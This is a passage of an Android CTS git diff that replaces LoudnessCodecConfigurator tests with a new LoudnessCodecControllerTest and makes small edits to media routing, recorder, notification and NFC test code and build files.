- public void multipleLcc_setAudioTrack_withRegisteredCodecs_triggersUpdate() throws Exception {
- LoudnessCodecConfigurator lcc2 = LoudnessCodecConfigurator.create(
- Executors.newSingleThreadExecutor(), new MyLoudnessCodecUpdateListener());
-
- mLcc.addMediaCodec(createMediaCodec(/*configure*/true));
- mLcc.addMediaCodec(createMediaCodec(/*configure*/true));
- lcc2.addMediaCodec(createMediaCodec(/*configure*/true));
- mLcc.setAudioTrack(createAndStartAudioTrack());
- lcc2.setAudioTrack(createAndStartAudioTrack());
- Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
-
- assertEquals(3, mCodecUpdateCallNumber.get());
- }
-
- @Test
- @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
- public void removeUnregisteredCodec_throwsIAE() throws Exception {
- mLcc.addMediaCodec(createMediaCodec(/*configure*/true));
- assertThrows(IllegalArgumentException.class,
- () -> mLcc.removeMediaCodec(createMediaCodec(/*configure*/true)));
- }
-
- @Test
- @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
- public void setAudioTrack_withRemovedCodecs_noUpdate() throws Exception {
- final MediaCodec mediaCodec = createMediaCodec(/*configure*/true);
- mAt = createAndStartAudioTrack();
-
- mLcc.addMediaCodec(mediaCodec);
- mLcc.removeMediaCodec(mediaCodec);
- mLcc.setAudioTrack(mAt);
- Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
-
- assertEquals(0, mCodecUpdateCallNumber.get());
- }
-
- @Test
- @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
- public void addMediaCodec_afterSetAudioTrack_triggersNewUpdate() throws Exception {
- mAt = createAndStartAudioTrack();
-
- mLcc.addMediaCodec(createMediaCodec(/*configure*/true));
- mLcc.addMediaCodec(createMediaCodec(/*configure*/true));
- mLcc.setAudioTrack(mAt);
- Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
-
- mLcc.addMediaCodec(createMediaCodec(/*configure*/true));
- Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
-
- assertEquals(3, mCodecUpdateCallNumber.get());
- }
-
- @Test
- @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
- public void addMediaCodec_afterRemovingAudioTrack_noSecondUpdate() throws Exception {
- mAt = createAndStartAudioTrack();
-
- mLcc.addMediaCodec(createMediaCodec(/*configure*/true));
- mLcc.setAudioTrack(mAt);
- Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
-
- mLcc.setAudioTrack(null);
- mLcc.addMediaCodec(createMediaCodec(/*configure*/true));
- Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
-
- assertEquals(1, mCodecUpdateCallNumber.get());
- }
-
- @Test
- @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
- public void addMediaCodec_afterReplaceAudioTrack_triggersNewUpdate() throws Exception {
- mAt = createAndStartAudioTrack();
-
- mLcc.addMediaCodec(createMediaCodec(/*configure*/true));
- mLcc.setAudioTrack(mAt);
- Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
-
- mAt.release();
- mAt = createAndStartAudioTrack();
- mLcc.setAudioTrack(mAt);
- mLcc.addMediaCodec(createMediaCodec(/*configure*/true));
- Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
-
- assertEquals(3, mCodecUpdateCallNumber.get());
- }
-
- @Test
- @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
- public void setAudioTrack_withRegisteredCodec_checkParameters() throws Exception {
- mAt = createAndStartAudioTrack();
-
- mLcc.addMediaCodec(createMediaCodec(/*configure*/true));
- mLcc.setAudioTrack(mAt);
- Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
-
- assertEquals(1, mCodecUpdateCallNumber.get());
- Bundle lastUpdate = mLastCodecUpdate.get();
- assertNotNull(lastUpdate);
- assertTrue(lastUpdate.getInt(KEY_AAC_DRC_TARGET_REFERENCE_LEVEL) != 0);
- assertTrue(lastUpdate.getInt(KEY_AAC_DRC_EFFECT_TYPE) != 0);
- }
-
-
- private static AudioTrack createAndStartAudioTrack() {
- final int bufferSizeInBytes =
- TEST_AUDIO_TRACK_SAMPLERATE * TEST_AUDIO_TRACK_CHANNELS * Short.BYTES;
- final AudioAttributes aa = (new AudioAttributes.Builder())
- .setUsage(AudioAttributes.USAGE_MEDIA)
- .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
- .build();
- final AudioTrack track = new AudioTrack.Builder()
- .setAudioAttributes(aa)
- .setBufferSizeInBytes(bufferSizeInBytes)
- .setAudioFormat(new AudioFormat.Builder()
- .setChannelMask(TEST_AUDIO_TRACK_CHANNELS)
- .setSampleRate(TEST_AUDIO_TRACK_SAMPLERATE)
- .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
- .build())
- .build();
-
- // enqueue silence to have a device assigned
- short[] data = new short[bufferSizeInBytes / Short.BYTES];
- track.write(data, 0, data.length, AudioTrack.WRITE_NON_BLOCKING);
- track.play();
-
- return track;
- }
-
- /** Creates a decoder for xHE-AAC content. */
- private MediaCodec createMediaCodec(boolean configure) throws Exception {
- AssetFileDescriptor testFd = InstrumentationRegistry.getInstrumentation().getContext()
- .getResources()
- .openRawResourceFd(R.raw.noise_2ch_48khz_tlou_19lufs_anchor_17lufs_mp4);
-
- MediaExtractor extractor;
- extractor = new MediaExtractor();
- extractor.setDataSource(testFd.getFileDescriptor(), testFd.getStartOffset(),
- testFd.getLength());
- testFd.close();
-
- assertEquals("wrong number of tracks", 1, extractor.getTrackCount());
- MediaFormat format = extractor.getTrackFormat(0);
- String mime = format.getString(MediaFormat.KEY_MIME);
- assertTrue("not an audio file", mime.startsWith(TEST_MEDIA_AUDIO_CODEC_PREFIX));
- final MediaCodec mediaCodec = MediaCodec.createDecoderByType(mime);
-
- if (configure) {
- Log.v(TAG, "configuring with " + format);
- mediaCodec.configure(format, null /* surface */, null /* crypto */, 0 /* flags */);
- }
-
- return mediaCodec;
- }
-
-}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/LoudnessCodecControllerTest.java b/tests/tests/media/audio/src/android/media/audio/cts/LoudnessCodecControllerTest.java
new file mode 100644
index 0000000..e22454b
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/LoudnessCodecControllerTest.java
@@ -0,0 +1,400 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import static android.media.AudioAttributes.ALLOW_CAPTURE_BY_NONE;
+import static android.media.MediaFormat.KEY_AAC_DRC_EFFECT_TYPE;
+import static android.media.MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL;
+import static android.media.audio.Flags.FLAG_LOUDNESS_CONFIGURATOR_API;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertThrows;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.content.res.AssetFileDescriptor;
+import android.media.AudioAttributes;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioTrack;
+import android.media.LoudnessCodecController;
+import android.media.MediaCodec;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.os.Bundle;
+import android.platform.test.annotations.RequiresFlagsEnabled;
+import android.platform.test.flag.junit.CheckFlagsRule;
+import android.platform.test.flag.junit.DeviceFlagsValueProvider;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.NonMainlineTest;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.time.Duration;
+import java.util.concurrent.Executors;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicReference;
+
+@NonMainlineTest
+@RunWith(AndroidJUnit4.class)
+public class LoudnessCodecControllerTest {
+ private static final String TAG = "LoudnessCodecControllerTest";
+
+ private static final String TEST_MEDIA_AUDIO_CODEC_PREFIX = "audio/";
+ private static final int TEST_AUDIO_TRACK_SAMPLERATE = 48000;
+ private static final int TEST_AUDIO_TRACK_CHANNELS = 2;
+
+ private static final Duration TEST_LOUDNESS_CALLBACK_TIMEOUT = Duration.ofMillis(200);
+
+ @Rule
+ public final CheckFlagsRule mCheckFlagsRule = DeviceFlagsValueProvider.createCheckFlagsRule();
+
+ private LoudnessCodecController mLcc;
+
+ private int mSessionId;
+
+ private AudioTrack mAt;
+
+ private final AtomicInteger mCodecUpdateCallNumber = new AtomicInteger(0);
+
+ private final AtomicReference<Bundle> mLastCodecUpdate = new AtomicReference<>();
+
+ private final class MyLoudnessCodecUpdateListener
+ implements LoudnessCodecController.OnLoudnessCodecUpdateListener {
+ @Override
+ @NonNull
+ public Bundle onLoudnessCodecUpdate(@NonNull MediaCodec mediaCodec,
+ @NonNull Bundle codecValues) {
+ mCodecUpdateCallNumber.incrementAndGet();
+ mLastCodecUpdate.set(codecValues);
+ return codecValues;
+ }
+ }
+
+ @Before
+ public void setUp() {
+ final Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ final AudioManager audioManager = (AudioManager) context.getSystemService(
+ AudioManager.class);
+ mSessionId = 0;
+ if (audioManager != null) {
+ mSessionId = audioManager.generateAudioSessionId();
+ }
+ mLcc = LoudnessCodecController.create(mSessionId,
+ Executors.newSingleThreadExecutor(), new MyLoudnessCodecUpdateListener());
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ if (mAt != null) {
+ mAt.release();
+ mAt = null;
+ }
+ mLcc.release();
+ }
+
+ @Test
+ @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
+ public void createNewLoudnessCodecController_notNull() {
+ assertNotNull("LoudnessCodecController must not be null", mLcc);
+
+ mLcc = LoudnessCodecController.create(mSessionId);
+ assertNotNull("LoudnessCodecController must not be null", mLcc);
+ }
+
+ @Test
+ @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
+ public void addUnconfiguredMediaCodec_returnsFalse() throws Exception {
+ final MediaCodec mediaCodec = createMediaCodec(/*configure*/false);
+ try {
+ assertFalse(mLcc.addMediaCodec(mediaCodec));
+ } finally {
+ mediaCodec.release();
+ }
+ }
+
+ @Test
+ @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
+ public void addMediaCodec_withAudioTrack_sendsUpdate() throws Exception {
+ mAt = createAndStartAudioTrack();
+
+ final MediaCodec mediaCodec = createMediaCodec(/*configure*/true);
+ try {
+ mLcc.addMediaCodec(mediaCodec);
+ Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
+
+ assertEquals(1, mCodecUpdateCallNumber.get());
+ } finally {
+ mediaCodec.release();
+ }
+ }
+
+ @Test
+ @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
+ public void addMediaCodecs_triggersUpdate() throws Exception {
+ final MediaCodec mediaCodec1 = createMediaCodec(/*configure*/true);
+ final MediaCodec mediaCodec2 = createMediaCodec(/*configure*/true);
+ final MediaCodec mediaCodec3 = createMediaCodec(/*configure*/true);
+
+ try {
+ mLcc.addMediaCodec(mediaCodec1);
+ mLcc.addMediaCodec(mediaCodec2);
+ mLcc.addMediaCodec(mediaCodec3);
+ Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
+
+ assertEquals(3, mCodecUpdateCallNumber.get());
+ } finally {
+ mediaCodec1.release();
+ mediaCodec2.release();
+ mediaCodec3.release();
+ }
+ }
+
+ @Test
+ @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
+ public void getLoudnessCodecParams_returnsCurrentParameters() throws Exception {
+ final MediaCodec mediaCodec = createMediaCodec(/*configure*/true);
+ try {
+ mLcc.addMediaCodec(mediaCodec);
+ assertFalse(mLcc.getLoudnessCodecParams(mediaCodec).isDefinitelyEmpty());
+ } finally {
+ mediaCodec.release();
+ }
+ }
+
+ @Test
+ @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
+ public void getLoudnessCodecParamsForWrongMediaCodec_throwsIAE() throws Exception {
+ final MediaCodec mediaCodec1 = createMediaCodec(/*configure*/true);
+ final MediaCodec mediaCodec2 = createMediaCodec(/*configure*/true);
+ try {
+ mLcc.addMediaCodec(mediaCodec1);
+ assertThrows(IllegalArgumentException.class,
+ () -> mLcc.getLoudnessCodecParams(mediaCodec2));
+ } finally {
+ mediaCodec1.release();
+ mediaCodec2.release();
+ }
+ }
+
+ @Test
+ @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
+ public void multipleLcc_withRegisteredCodecs_triggerUpdate() throws Exception {
+ try (LoudnessCodecController lcc2 = LoudnessCodecController.create(mSessionId,
+ Executors.newSingleThreadExecutor(), new MyLoudnessCodecUpdateListener())) {
+
+ final MediaCodec mediaCodec1 = createMediaCodec(/*configure*/true);
+ final MediaCodec mediaCodec2 = createMediaCodec(/*configure*/true);
+ final MediaCodec mediaCodec3 = createMediaCodec(/*configure*/true);
+ try {
+ mLcc.addMediaCodec(mediaCodec1);
+ mLcc.addMediaCodec(mediaCodec2);
+ lcc2.addMediaCodec(mediaCodec3);
+ Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
+
+ assertEquals(3, mCodecUpdateCallNumber.get());
+ } finally {
+ mediaCodec1.release();
+ mediaCodec2.release();
+ mediaCodec3.release();
+ }
+ }
+ }
+
+ @Test
+ @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
+ public void removeUnregisteredCodec_throwsIAE() throws Exception {
+ final MediaCodec mediaCodec1 = createMediaCodec(/*configure*/true);
+ final MediaCodec mediaCodec2 = createMediaCodec(/*configure*/true);
+
+ try {
+ mLcc.addMediaCodec(mediaCodec1);
+ assertThrows(IllegalArgumentException.class, () -> mLcc.removeMediaCodec(mediaCodec2));
+ } finally {
+ mediaCodec1.release();
+ mediaCodec2.release();
+ }
+ }
+
+ @Test
+ @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
+ public void addMediaCodec_afterRelease_noUpdate() throws Exception {
+ final MediaCodec mediaCodec = createMediaCodec(/*configure*/true);
+ try {
+ mLcc.release();
+ mLcc.addMediaCodec(mediaCodec);
+ Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
+
+ assertEquals(0, mCodecUpdateCallNumber.get());
+ } finally {
+ mediaCodec.release();
+ }
+ }
+
+ @Test
+ @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
+ public void audioTrackStart_afterAddMediaCodec_checkUpdateNumber() throws Exception {
+ final MediaCodec mediaCodec1 = createMediaCodec(/*configure*/true);
+ final MediaCodec mediaCodec2 = createMediaCodec(/*configure*/true);
+
+ try {
+ mLcc.addMediaCodec(mediaCodec1);
+ mLcc.addMediaCodec(mediaCodec2);
+ Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
+
+ // Device id for AudioAttributes should not change to send more updates
+ // after creating the AudioTrack
+ mAt = createAndStartAudioTrack();
+ Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
+
+ assertEquals(2, mCodecUpdateCallNumber.get());
+ } finally {
+ mediaCodec1.release();
+ mediaCodec2.release();
+ }
+ }
+
+ @Test
+ @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
+ public void audioTrackStart_beforeAddMediaCodec_checkUpdateNumber() throws Exception {
+ final MediaCodec mediaCodec1 = createMediaCodec(/*configure*/true);
+ final MediaCodec mediaCodec2 = createMediaCodec(/*configure*/true);
+
+ try {
+ mAt = createAndStartAudioTrack();
+ Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
+
+ mLcc.addMediaCodec(mediaCodec1);
+ mLcc.addMediaCodec(mediaCodec2);
+ Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
+
+ assertEquals(2, mCodecUpdateCallNumber.get());
+ } finally {
+ mediaCodec1.release();
+ mediaCodec2.release();
+ }
+ }
+
+ @Test
+ @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
+ public void addMediaCodec_afterRelease_noSecondUpdate() throws Exception {
+ final MediaCodec mediaCodec1 = createMediaCodec(/*configure*/true);
+ final MediaCodec mediaCodec2 = createMediaCodec(/*configure*/true);
+
+ try {
+ mLcc.addMediaCodec(mediaCodec1);
+ Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
+
+ mLcc.release();
+ mLcc.addMediaCodec(mediaCodec2);
+ Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
+
+ assertEquals(1, mCodecUpdateCallNumber.get());
+ } finally {
+ mediaCodec1.release();
+ mediaCodec2.release();
+ }
+ }
+
+ @Test
+ @RequiresFlagsEnabled(FLAG_LOUDNESS_CONFIGURATOR_API)
+ public void mediaCodecUpdate_checkParameters() throws Exception {
+ final MediaCodec mediaCodec = createMediaCodec(/*configure*/true);
+
+ try {
+ mLcc.addMediaCodec(mediaCodec);
+ Thread.sleep(TEST_LOUDNESS_CALLBACK_TIMEOUT.toMillis());
+
+ assertEquals(1, mCodecUpdateCallNumber.get());
+ Bundle lastUpdate = mLastCodecUpdate.get();
+ assertNotNull(lastUpdate);
+ assertTrue(lastUpdate.getInt(KEY_AAC_DRC_TARGET_REFERENCE_LEVEL) != 0);
+ assertTrue(lastUpdate.getInt(KEY_AAC_DRC_EFFECT_TYPE) != 0);
+ } finally {
+ mediaCodec.release();
+ }
+ }
+
+
+ private AudioTrack createAndStartAudioTrack() {
+ final int bufferSizeInBytes =
+ TEST_AUDIO_TRACK_SAMPLERATE * TEST_AUDIO_TRACK_CHANNELS * Short.BYTES;
+
+ final AudioTrack track = new AudioTrack.Builder()
+ .setAudioAttributes(new AudioAttributes.Builder()
+ .setUsage(AudioAttributes.USAGE_MEDIA)
+ .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
+ .setAllowedCapturePolicy(ALLOW_CAPTURE_BY_NONE)
+ .build())
+ .setSessionId(mSessionId)
+ .setBufferSizeInBytes(bufferSizeInBytes)
+ .setAudioFormat(new AudioFormat.Builder()
+ .setChannelMask(TEST_AUDIO_TRACK_CHANNELS)
+ .setSampleRate(TEST_AUDIO_TRACK_SAMPLERATE)
+ .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+ .build())
+ .build();
+
+ // enqueue silence to have a device assigned
+ short[] data = new short[bufferSizeInBytes / Short.BYTES];
+ track.write(data, 0, data.length, AudioTrack.WRITE_NON_BLOCKING);
+ track.play();
+
+ return track;
+ }
+
+ /** Creates a decoder for xHE-AAC content. */
+ private MediaCodec createMediaCodec(boolean configure) throws Exception {
+ AssetFileDescriptor testFd = InstrumentationRegistry.getInstrumentation().getContext()
+ .getResources()
+ .openRawResourceFd(R.raw.noise_2ch_48khz_tlou_19lufs_anchor_17lufs_mp4);
+
+ MediaExtractor extractor;
+ extractor = new MediaExtractor();
+ try {
+ extractor.setDataSource(testFd.getFileDescriptor(), testFd.getStartOffset(),
+ testFd.getLength());
+
+ assertEquals("wrong number of tracks", 1, extractor.getTrackCount());
+ MediaFormat format = extractor.getTrackFormat(0);
+ String mime = format.getString(MediaFormat.KEY_MIME);
+ assertTrue("not an audio file", mime.startsWith(TEST_MEDIA_AUDIO_CODEC_PREFIX));
+ final MediaCodec mediaCodec = MediaCodec.createDecoderByType(mime);
+
+ if (configure) {
+ Log.v(TAG, "configuring with " + format);
+ mediaCodec.configure(format, null /* surface */, null /* crypto */, 0 /* flags */);
+ }
+ return mediaCodec;
+ } finally {
+ extractor.release();
+ testFd.close();
+ }
+ }
+
+}
diff --git a/tests/tests/media/bettertogether/src/android/media/bettertogether/cts/SystemMediaRouter2Test.java b/tests/tests/media/bettertogether/src/android/media/bettertogether/cts/SystemMediaRouter2Test.java
index 454f6bc..5cc20ba 100644
--- a/tests/tests/media/bettertogether/src/android/media/bettertogether/cts/SystemMediaRouter2Test.java
+++ b/tests/tests/media/bettertogether/src/android/media/bettertogether/cts/SystemMediaRouter2Test.java
@@ -1411,7 +1411,7 @@
RoutingController controller = mAppRouter2.getSystemController();
RoutingSessionInfo currentSessionInfo = controller.getRoutingSessionInfo();
- assertThat(controller.wasTransferRequestedBySelf()).isTrue();
+ assertThat(controller.wasTransferInitiatedBySelf()).isTrue();
assertThat(currentSessionInfo.getTransferReason()).isEqualTo(
RoutingSessionInfo.TRANSFER_REASON_APP);
}
@@ -1445,7 +1445,7 @@
RoutingController controller = mAppRouter2.getSystemController();
RoutingSessionInfo currentSessionInfo = controller.getRoutingSessionInfo();
- assertThat(controller.wasTransferRequestedBySelf()).isTrue();
+ assertThat(controller.wasTransferInitiatedBySelf()).isTrue();
assertThat(currentSessionInfo.getTransferReason()).isEqualTo(
RoutingSessionInfo.TRANSFER_REASON_SYSTEM_REQUEST);
}
@@ -1482,7 +1482,7 @@
assertThat(sessionInfo.getTransferReason()).isEqualTo(
RoutingSessionInfo.TRANSFER_REASON_SYSTEM_REQUEST);
- assertThat(routingController.wasTransferRequestedBySelf()).isFalse();
+ assertThat(routingController.wasTransferInitiatedBySelf()).isFalse();
mAppRouter2.unregisterControllerCallback(controllerCallback);
}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerRecorderActivity.java b/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerRecorderActivity.java
index 07020d6..82fa16c 100644
--- a/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerRecorderActivity.java
+++ b/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerRecorderActivity.java
@@ -16,6 +16,8 @@
package android.media.misc.cts;
+import static org.junit.Assert.assertTrue;
+
import android.hardware.Camera;
import android.hardware.cts.helpers.CameraUtils;
import android.media.MediaCodecList;
@@ -30,8 +32,6 @@
import android.util.Log;
import android.view.Surface;
-import static org.junit.Assert.assertTrue;
-
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
@@ -44,8 +44,6 @@
// - record at lowest supported resolution or the highest resolution
public class ResourceManagerRecorderActivity extends MediaStubActivity {
private static final int RECORD_TIME_MS = 3000;
- private static final int VIDEO_WIDTH = 176;
- private static final int VIDEO_HEIGHT = 144;
private static final float LATITUDE = 0.0000f;
private static final float LONGITUDE = -180.0f;
private static final float TOLERANCE = 0.0002f;
@@ -54,8 +52,8 @@
private int mResult = RESULT_CANCELED;
private boolean mHighResolution = false;
- private int mVideoWidth = VIDEO_WIDTH;
- private int mVideoHeight = VIDEO_HEIGHT;
+ private int mVideoWidth = 0;
+ private int mVideoHeight = 0;
private int mVideoEncoderType = MediaRecorder.VideoEncoder.H264;
private String mMime = MediaFormat.MIMETYPE_VIDEO_AVC;
private Camera mCamera;
@@ -153,7 +151,7 @@
// Pick the max or min resolution (width * height) based
// on the requirement.
long curMaxResolution = 0;
- long curMinResolution = VIDEO_WIDTH * VIDEO_HEIGHT;
+ long curMinResolution = Long.MAX_VALUE;
for (Camera.Size size : videoSizes) {
long resolution = (long) size.width * size.height;
if (!mHighResolution && (resolution < curMinResolution)) {
diff --git a/tests/tests/mediacujtest/common/Android.bp b/tests/tests/mediacujtest/common/Android.bp
index 582c033..5f95f92 100644
--- a/tests/tests/mediacujtest/common/Android.bp
+++ b/tests/tests/mediacujtest/common/Android.bp
@@ -29,6 +29,7 @@
"androidx.media3.media3-common",
"androidx.media3.media3-exoplayer",
"androidx.media3.media3-ui",
+ "permission-test-util-lib",
],
libs: [
"auto_value_annotations",
diff --git a/tests/tests/mediacujtest/common/src/android/media/cujcommon/cts/CujTestBase.java b/tests/tests/mediacujtest/common/src/android/media/cujcommon/cts/CujTestBase.java
index 3c0db8a..67875cd 100644
--- a/tests/tests/mediacujtest/common/src/android/media/cujcommon/cts/CujTestBase.java
+++ b/tests/tests/mediacujtest/common/src/android/media/cujcommon/cts/CujTestBase.java
@@ -34,6 +34,8 @@
*/
public class CujTestBase {
+ static final String SHORTFORM_PLAYBAK_TEST_APP = "android.media.cujsmalltest.cts";
+
static final int[] ORIENTATIONS = {
ActivityInfo.SCREEN_ORIENTATION_PORTRAIT,
ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE,
diff --git a/tests/tests/mediacujtest/common/src/android/media/cujcommon/cts/MessageNotificationTestPlayerListener.java b/tests/tests/mediacujtest/common/src/android/media/cujcommon/cts/MessageNotificationTestPlayerListener.java
index 682494c..7aa5ab5 100644
--- a/tests/tests/mediacujtest/common/src/android/media/cujcommon/cts/MessageNotificationTestPlayerListener.java
+++ b/tests/tests/mediacujtest/common/src/android/media/cujcommon/cts/MessageNotificationTestPlayerListener.java
@@ -52,7 +52,11 @@
for (int i = 0; i < NUM_OF_MESSAGE_NOTIFICATIONS; i++) {
mActivity.mPlayer.createMessage((messageType, payload) -> {
// Place a sample message notification
- NotificationGenerator.createNotification(mActivity);
+ try {
+ NotificationGenerator.createNotification(mActivity);
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
}).setLooper(Looper.getMainLooper()).setPosition(mSendMessagePosition * (i + 1))
.setDeleteAfterDelivery(true)
.send();
diff --git a/tests/tests/mediacujtest/common/src/android/media/cujcommon/cts/NotificationGenerator.java b/tests/tests/mediacujtest/common/src/android/media/cujcommon/cts/NotificationGenerator.java
index a8fa1ab..af1b6b6 100644
--- a/tests/tests/mediacujtest/common/src/android/media/cujcommon/cts/NotificationGenerator.java
+++ b/tests/tests/mediacujtest/common/src/android/media/cujcommon/cts/NotificationGenerator.java
@@ -16,12 +16,16 @@
package android.media.cujcommon.cts;
+import static android.media.cujcommon.cts.CujTestBase.SHORTFORM_PLAYBAK_TEST_APP;
+import static android.Manifest.permission.POST_NOTIFICATIONS;
+
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.content.Context;
import android.media.AudioAttributes;
import android.media.RingtoneManager;
+import android.permission.cts.PermissionUtils;
public class NotificationGenerator {
@@ -31,7 +35,8 @@
/**
* Create and send a sample notification
*/
- public static void createNotification(Context context) {
+ public static void createNotification(Context context) throws Exception {
+ PermissionUtils.grantPermission(SHORTFORM_PLAYBAK_TEST_APP, POST_NOTIFICATIONS);
NotificationChannel notificationChannel = new NotificationChannel(
CHANNEL_ID,
"Channel 1",
@@ -50,6 +55,7 @@
.setContentTitle("Sample Message Notification")
.setContentText("This is a sample notification for E2E CUJ")
.setCategory(Notification.CATEGORY_MESSAGE)
+ .setTimeoutAfter(3000)
.setAutoCancel(true);
notificationManager.notify(NOTIFICATION_ID, builder.build());
}
diff --git a/tests/tests/mediacujtest/largetest/src/android/media/cujlargetest/cts/CtsMediaLargeFormPlaybackTest.java b/tests/tests/mediacujtest/largetest/src/android/media/cujlargetest/cts/CtsMediaLargeFormPlaybackTest.java
index acfc56b..e076edc 100644
--- a/tests/tests/mediacujtest/largetest/src/android/media/cujlargetest/cts/CtsMediaLargeFormPlaybackTest.java
+++ b/tests/tests/mediacujtest/largetest/src/android/media/cujlargetest/cts/CtsMediaLargeFormPlaybackTest.java
@@ -84,7 +84,7 @@
.setTimeoutMilliSeconds(930000)
.setPlayerListener(new PlaybackTestPlayerListener()).build(), "VP9_640x480_5min"},
{CujTestParam.builder().setMediaUrls(prepareVP9_640x480_5minVideoList())
- .setTimeoutMilliSeconds(930000)
+ .setTimeoutMilliSeconds(1230000)
.setPlayerListener(new SeekTestPlayerListener(30, 10000, 30000)).build(),
"VP9_640x480_5min_seekTest"},
{CujTestParam.builder().setMediaUrls(prepare_30minAudioList())
@@ -95,7 +95,7 @@
.setTimeoutMilliSeconds(1830000)
.setPlayerListener(new PlaybackTestPlayerListener()).build(), "Avc_1080p_30min"},
{CujTestParam.builder().setMediaUrls(prepareAvc_1080p_30minVideoList())
- .setTimeoutMilliSeconds(1830000)
+ .setTimeoutMilliSeconds(1930000)
.setPlayerListener(new SeekTestPlayerListener(30, 10000, 30000)).build(),
"Avc_1080p_30min_seekTest"},
{CujTestParam.builder().setMediaUrls(prepareVp9_Local_DASH_3minVideoList())
diff --git a/tests/tests/nfc/Android.bp b/tests/tests/nfc/Android.bp
index 7b3f988..d45dc98 100644
--- a/tests/tests/nfc/Android.bp
+++ b/tests/tests/nfc/Android.bp
@@ -22,6 +22,7 @@
platform_apis: true,
static_libs: [
"android.nfc.flags-aconfig-java",
+ "android.permission.flags-aconfig-java",
"ctstestrunner-axt",
"compatibility-device-util-axt",
"flag-junit",
@@ -30,14 +31,14 @@
],
srcs: [
"src/**/*.java",
- // TODO(b/263565193): Temp hack until NFC APK can link against module_current.
- ":framework-nfc-updatable-sources",
],
- // was: sdk_version: "current",
+ sdk_version: "core_current",
libs: [
+ "framework-nfc.impl",
+ "framework",
+ "framework-res",
"android.test.runner",
"android.test.base",
- "framework-nfc.impl",
"unsupportedappusage",
],
// Tag this module as a cts test artifact
